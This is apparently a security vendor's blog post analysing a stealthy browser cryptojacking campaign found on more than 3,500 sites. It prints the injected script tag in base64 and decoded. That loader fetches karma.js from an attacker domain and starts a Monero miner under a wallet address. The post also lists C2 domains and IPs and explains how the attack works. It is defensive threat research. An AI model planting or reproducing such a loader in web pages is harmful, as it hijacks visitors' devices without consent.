The rise and fall (and rise) of in-browser mining
It was 2017 when Coinhive burst onto the scene, embedding a Monero miner directly into websites. Users would unknowingly mine cryptocurrency while browsing, turning their devices into silent profit engines for site owners.
For a brief moment, it seemed like a win-win: websites earned revenue without ads, and users avoided intrusive pop-ups. But as Coinhive’s hash rate soared to 12% of Monero’s total network power, device slowdowns and battery drain sparked public outrage.
By 2019, browsers like Chrome and Firefox began blocking crypto miners, and Coinhive shut down.
Crypto jacking, it seemed, was dead.
But in cybersecurity, death is rarely permanent…
A mysterious downturn (and a glitch in the matrix)
Here at cside, we’d been tracking crypto jacking campaigns for years. By late 2024, our dashboards showed a steep decline in activity. Mining payloads were getting blocked more effectively, and attackers seemed to have moved on to greener pastures like ransomware or credential theft.
Then, on a routine Tuesday, our crawler flagged something odd: a third-party JavaScript file loaded from https://www.yobox[.]store/karma/karma.js?karma=bs?nosaj=faster.mo.
The URL itself was a red flag random parameter, a nonsensical nosaj=faster.mo query. But what really set off alarms was the file’s behavior:
- No network requests (at first glance).
- No obvious CPU spikes in sandboxed tests.
- Yet our AI flagged it as malicious.
This wasn’t the loud, resource-hogging crypto jacking of 2018. This was… quiet.
Injection on the website:
<script defer="" src="data:text/javascript;base64,KGZ1bmN0aW9uKGQsIHMsIGlkKXsKICAgIHZhciBqcywgZmpzID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXTsKICAgIGlmIChkLmdldEVsZW1lbnRCeUlkKGlkKSl7IHJldHVybjsgfQogICAganMgPSBkLmNyZWF0ZUVsZW1lbnQocyk7IGpzLmlkID0gaWQ7CiAgICBqcy5vbmxvYWQgPSBmdW5jdGlvbigpewogICAgICAgIEV2ZXJ5dGhpbmdJc0xpZmUoJzQ3TnNhRXdoYms5MkNmaWJNSmc4TThoSjczTEtEdjlOVGpOdEhMRkg2RVFFMnNBVWRnbndQYzIzMWdnaGYzcllCdkM2Y1h2Z0xhaEpLYTRyaXFRQnhiVDFIQmpRaEZ1JywgJ3dlYicsIDUwKTsKICAgIH07CiAgICBqcy5zcmMgPSAnaHR0cHM6Ly90cnVzdGlzaW1wb3J0YW50LmZ1bi9rYXJtYS9rYXJtYS5qcz9rYXJtYT1icz9ub3Nhaj1mYXN0ZXIubW8nOwogICAgZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLCBmanMpOwp9KGRvY3VtZW50LCAnc2NyaXB0JywgJ2JhY2t1cC1qc3MnKSk7Cg=="></script>
Base64 decodes to:
(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)){ return; }
js = d.createElement(s); js.id = id;
js.onload = function(){
EverythingIsLife('47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu', 'web', 50);
};
js.src = 'https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=faster.mo';
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'backup-jss'));
Trustisimportant[.]fun redirects the user to yobox[.]store from where the malicious JS is downloaded.
Debugging the ghost: A JS 101 Tutorial
We pulled the script into a controlled environment to dissect it. Here’s how we approached it:
Step 1: Build a safe debugging sandbox
We wrapped the JS in a simple HTML page with a Content Security Policy (CSP) to allow debugging without triggering browser blocks:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'unsafe-inline'">
<title>Debugging Karma</title>
</head>
<body>
<script src="karma.js"></script> <!-- The malicious file -->
</body>
</html>
The unsafe-eval directive was critical because the script used eval-like obfuscation to hide its logic.
Step 2: Insert debugging traps
We added debugger; statements at key points to pause execution in Chrome DevTools. For example:
function _0x6BE7() { // A WebSocket setup function
debugger; // <-- Execution pauses here
if (ws != null) { ws.close(); }
// ... rest of code
}
Step 3: Decode the obfuscation
The script was a maze of renamed variables (e.g., _0x6AC1, _0x6B23) and encoded strings. Using the Sources tab in DevTools, we:
- 1.Set breakpoints to step through execution.
- 2.Watched variables to map their real purposes (e.g., _0x6B85 checked if the device was mobile).
- 3.Traced network activity via the Network tab, revealing WebSocket connections to wss://lokilokitwo[.]de:10006.
The key discovery: A silent miner
The script did not directly mine cryptocurrency. Instead, it:
- Checked for WebAssembly support (to gauge device power).
- Created background Web Workers (worcy array) to run mining tasks without blocking the main thread.
- Used WebSockets to receive commands from the C2 server, adjusting mining intensity based on device capabilities.
This was a stealth miner, designed to avoid detection by staying below the radar of both users and security tools.
The bigger picture: 3,500+ infected sites
Further investigation uncovered a sprawling campaign:
- 3,500+ websites loaded the malicious karma[.]js.
- Reused Infrastructure: The domain trustisimportant[.]fun linked to both crypto jacking and Magecart (credit card skimming) campaigns. Attackers were diversifying their payloads.
- Key IPs: 89.58.14.251 and 104.21.80.1 acted as command-and-control (C2) servers.
The campaign’s motto? “Stay low, mine slow.” By throttling CPU usage and hiding traffic in WebSocket streams, it avoided the telltale signs of traditional crypto jacking.
CryptoJacking 101: How it works today
Modern crypto jacking has evolved into a silent, multi-stage attack:
- Dropper Scripts: Malicious JS files (like karma[.]js) are injected into websites.
- Environment Checks: The script checks for WebAssembly support, device type (mobile vs. desktop), and browser features to optimize mining.
- Worker Spawning: Web Workers are created to run mining tasks in the background, avoiding performance red flags.
- C2 Communication: WebSockets or HTTPS requests fetch mining tasks and send results to C2 servers.
The goal isn’t to drain devices instantly, it is to persistently siphon resources over time, like a digital vampire.
Conclusion: The cat-and-mouse game continues
Crypto jacking isn’t dead, it has just gotten smarter. Attackers now prioritize stealth over brute-force resource theft, using obfuscation, WebSockets, and infrastructure reuse to stay hidden.
This trend in client-side attacks is continuously on the rise.
The need for proper security is here.